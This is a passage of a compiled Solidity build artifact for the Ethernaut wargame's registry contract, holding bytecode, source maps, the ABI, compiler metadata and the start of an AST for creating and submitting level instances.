c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033","sourceMap":"490:2728:38:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;490:2728:38;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;490:2728:38:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033","sourceMap":"490:2728:38:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;815:161;;;;;;;;;;-1:-1:-1;815:161:38;;;;;:::i;:::-;;:::i;:::-;;1331:63;;;;;;;;;;-1:-1:-1;1331:63:38;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1331:63:38;;;;;;;-1:-1:-1;;;1331:63:38;;;;;;;;;;-1:-1:-1;;;;;1003:15:155;;;985:34;;1055:15;;;;1050:2;1035:18;;1028:43;1114:14;1107:22;1087:18;;;1080:50;912:2;897:18;1331:63:38;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;1201:85::-;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;;-1:-1:-1;;;;;1305:55:155;;;1287:74;;1275:2;1260:18;1201:85:23;1141:226:155;526:29:38;;;;;;;;;;-1:-1:-1;526:29:38;;;;-1:-1:-1;;;;;526:29:38;;;982:115;;;;;;;;;;-1:-1:-1;982:115:38;;;;;:::i;:::-;;:::i;2295:921::-;;;;;;;;;;-1:-1:-1;2295:921:38;;;;;:::i;:::-;;:::i;672:48::-;;;;;;;;;;-1:-1:-1;672:48:38;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2056:14:155;;2049:22;2031:41;;2019:2;2004:18;672:48:38;1891:187:155;1612:677:38;;;;;;:::i;:::-;;:::i;2081:198:23:-;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;815:161:38:-;1094:13:23;:11;:13::i;:::-;-1:-1:-1;;;;;879:33:38;;::::1;;::::0;;;:16:::1;:33;::::0;;;;;;:40;;-1:-1:-1;;879:40:38::1;915:4;879:40:::0;;::::1;::::0;;;929:10;:40;;;;;::::1;::::0;::::1;1287:74:155::0;;;;929:10:38;;::::1;::::0;:23:::1;::::0;1260:18:155;;929:40:38::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;815:161:::0;:::o;1831:101:23:-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;982:115:38:-;1094:13:23;:11;:13::i;:::-;1054:10:38::1;:36:::0;;-1:-1:-1;;1054:36:38::1;-1:-1:-1::0;;;;;1054:36:38;;;::::1;::::0;;;::::1;::::0;;982:115::o;2295:921::-;-1:-1:-1;;;;;2436:27:38;;;2401:32;2436:27;;;:16;:27;;;;;2481:11;;2436:27;;2481:11;2496:10;2481:25;2473:86;;;;-1:-1:-1;;;2473:86:38;;2285:2:155;2473:86:38;;;2267:21:155;2324:2;2304:18;;;2297:30;2363:34;2343:18;;;2336:62;2434:18;2414;;;2407:46;2470:19;;2473:86:38;;;;;;;;;2617:14;;;;-1:-1:-1;;;2617:14:38;;;;:23;2609:68;;;;-1:-1:-1;;;2609:68:38;;2702:2:155;2609:68:38;;;2684:21:155;;;2721:18;;;2714:30;2780:34;2760:18;;;2753:62;2832:18;;2609:68:38;2500:356:155;2609:68:38;2763:10;;;;:50;;;;;-1:-1:-1;;;;;3130:15:155;;;2763:50:38;;;3112:34:155;2802:10:38;3162:18:155;;;3155:43;2763:10:38;;;;:27;;3024:18:155;;2763:50:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2759:451;;;2893:4;2876:14;;;:21;;-1:-1:-1;;;2876:21:38;;;;;;;2912:10;;:68;;;;;-1:-1:-1;;;;;3780:15:155;;;2912:68:38;;;3762:34:155;2956:10:38;;;3812:18:155;;;3805:43;2969:10:38;3864:18:155;;;3857:43;2912:10:38;;;:24;;3674:18:155;;2912:68:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;3088:10:38;;;;3039:61;;-1:-1:-1;;;;;3088:10:38;;;;3039:61;;;3057:10;;3039:61;;3088:10;;3039:61;2358:858;2295:921;:::o;2759:451::-;3131:10;;;3175;;;;3131:68;;;;;-1:-1:-1;;;;;3780:15:155;;;3131:68:38;;;3762:34:155;3175:10:38;;;3812:18:155;;;3805:43;3188:10:38;3864:18:155;;;3857:43;3131:10:38;;;:24;;3674:18:155;;3131:68:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2358:858;2295:921;:::o;1612:677::-;-1:-1:-1;;;;;1727:33:38;;;;;;:16;:33;;;;;;;;1719:71;;;;-1:-1:-1;;;1719:71:38;;4113:2:155;1719:71:38;;;4095:21:155;4152:2;4132:18;;;4125:30;4191:27;4171:18;;;4164:55;4236:18;;1719:71:38;3911:349:155;1719:71:38;1872:51;;;;;1912:10;1872:51;;;1287:74:155;1853:16:38;;-1:-1:-1;;;;;1872:21:38;;;;;1901:9;;1260:18:155;;1872:51:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2033:46;;;;;;;;2053:10;2033:46;;;-1:-1:-1;;;;;2033:46:38;;;;;;;;;;-1:-1:-1;2033:46:38;;;;;;2004:26;;;;;;:16;:26;;;;;;;:75;;;;-1:-1:-1;;2004:75:38;;;;;;;;;-1:-1:-1;2004:75:38;;;;;;;;;;;;;;;;;;-1:-1:-1;;;2004:75:38;;;;;;;;;;2090:10;;:67;;;;;;;;3762:34:155;;;;3812:18;;;3805:43;3864:18;;;3857:43;;;;2004:26:38;;-1:-1:-1;2090:10:38;;;:28;;3674:18:155;;2090:67:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2220:62:38;;-1:-1:-1;;;;;2220:62:38;;;;-1:-1:-1;2220:62:38;;;-1:-1:-1;2244:10:38;;2220:62;;;;;1670:619;1612:677;:::o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;5142:2:155;2161:73:23::1;::::0;::::1;5124:21:155::0;5181:2;5161:18;;;5154:30;5220:34;5200:18;;;5193:62;5291:8;5271:18;;;5264:36;5317:19;;2161:73:23::1;4940:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;5549:2:155;1414:68:23;;;5531:21:155;;;5568:18;;;5561:30;5627:34;5607:18;;;5600:62;5679:18;;1414:68:23;5347:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;14:161:155:-;-1:-1:-1;;;;;100:5:155;96:54;89:5;86:65;76:93;;165:1;162;155:12;180:269;254:6;307:2;295:9;286:7;282:23;278:32;275:52;;;323:1;320;313:12;275:52;362:9;349:23;381:38;413:5;381:38;:::i;:::-;438:5;180:269;-1:-1:-1;;;180:269:155:o;3209:277::-;3276:6;3329:2;3317:9;3308:7;3304:23;3300:32;3297:52;;;3345:1;3342;3335:12;3297:52;3377:9;3371:16;3430:5;3423:13;3416:21;3409:5;3406:32;3396:60;;3452:1;3449;3442:12;4265:258;4335:6;4388:2;4376:9;4367:7;4363:23;4359:32;4356:52;;;4404:1;4401;4394:12;4356:52;4436:9;4430:16;4455:38;4487:5;4455:38;:::i","linkReferences":{}},"methodIdentifiers":{"createLevelInstance(address)":"dfc86b17","emittedInstances(address)":"4f17afd8","owner()":"8da5cb5b","registerLevel(address)":"202023d4","registeredLevels(address)":"cf004695","renounceOwnership()":"715018a6","setStatistics(address)":"be117dfd","statistics()":"95e272bd","submitLevelInstance(address)":"c882d7c2","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"LevelCompletedLog\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"level\",\"type\":\"address\"}],\"name\":\"LevelInstanceCreatedLog\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"contract Level\",\"name\":\"_level\",\"type\":\"address\"}],\"name\":\"createLevelInstance\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"emittedInstances\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"player\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"completed\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Level\",\"name\":\"_level\",\"type\":\"address\"}],\"name\":\"registerLevel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"registeredLevels\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_statProxy\",\"type\":\"address\"}],\"name\":\"setStatistics\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"statistics\",\"outputs\":[{\"internalType\":\"contract IStatistics\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/Ethernaut.sol\":\"Ethernaut\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"player","type":"address","indexed":true},{"internalType":"address","name":"instance","type":"address","indexed":true},{"internalType":"address","name":"level","type":"address","indexed":true}],"type":"event","name":"LevelCompletedLog","anonymous":false},{"inputs":[{"internalType":"address","name":"player","type":"address","indexed":true},{"internalType":"address","name":"instance","type":"address","indexed":true},{"internalType":"address","name":"level","type":"address","indexed":true}],"type":"event","name":"LevelInstanceCreatedLog","anonymous":false},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"contract Level","name":"_level","type":"address"}],"stateMutability":"payable","type":"function","name":"createLevelInstance"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"emittedInstances","outputs":[{"internalType":"address","name":"player","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"bool","name":"completed","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"contract Level","name":"_level","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"registerLevel"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"registeredLevels","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"_statProxy","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setStatistics"},{"inputs":[],"stateMutability":"view","type":"function","name":"statistics","outputs":[{"internalType":"contract IStatistics","name":"","type":"address"}]},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/Ethernaut.sol":"Ethernaut"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/Ethernaut.sol","id":49102,"exportedSymbols":{"Context":[48281],"Ethernaut":[49101],"IStatistics":[48877],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3187:38","nodes":[{"id":48842,"nodeType":"PragmaDirective","src":"32:23:38","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":48843,"nodeType":"ImportDirective","src":"57:33:38","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":49102,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":48844,"nodeType":"ImportDirective","src":"91:54:38","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":49102,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":48877,"nodeType":"ContractDefinition","src":"147:341:38","nodes":[{"id":48849,"nodeType":"FunctionDefinition","src":"175:46:38","nodes":[],"functionSelector":"cd819a6f","implemented":false,"kind":"function","modifiers":[],"name":"saveNewLevel","nameLocation":"184:12:38","parameters":{"id":48847,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48846,"mutability":"mutable","name":"level","nameLocation":"205:5:38","nodeType":"VariableDeclaration","scope":48849,"src":"197:13:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48845,"name":"address","nodeType":"ElementaryTypeName","src":"197:7:38","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"196:15:38"},"returnParameters":{"id":48848,"nodeType":"ParameterList","parameters":[],"src":"220:0:38"},"scope":48877,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":48858,"nodeType":"FunctionDefinition","src":"227:85:38","nodes":[],"functionSelector":"7e4326d3","implemented":false,"kind":"function","modifiers":[],"name":"createNewInstance","nameLocation":"236:17:38","parameters":{"id":48856,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48851,"mutability":"mutable","name":"instance","nameLocation":"262:8:38","nodeType":"VariableDeclaration","scope":48858,"src":"254:16:38","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48850,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:38","stateMutability":"nonpayable","typeDesc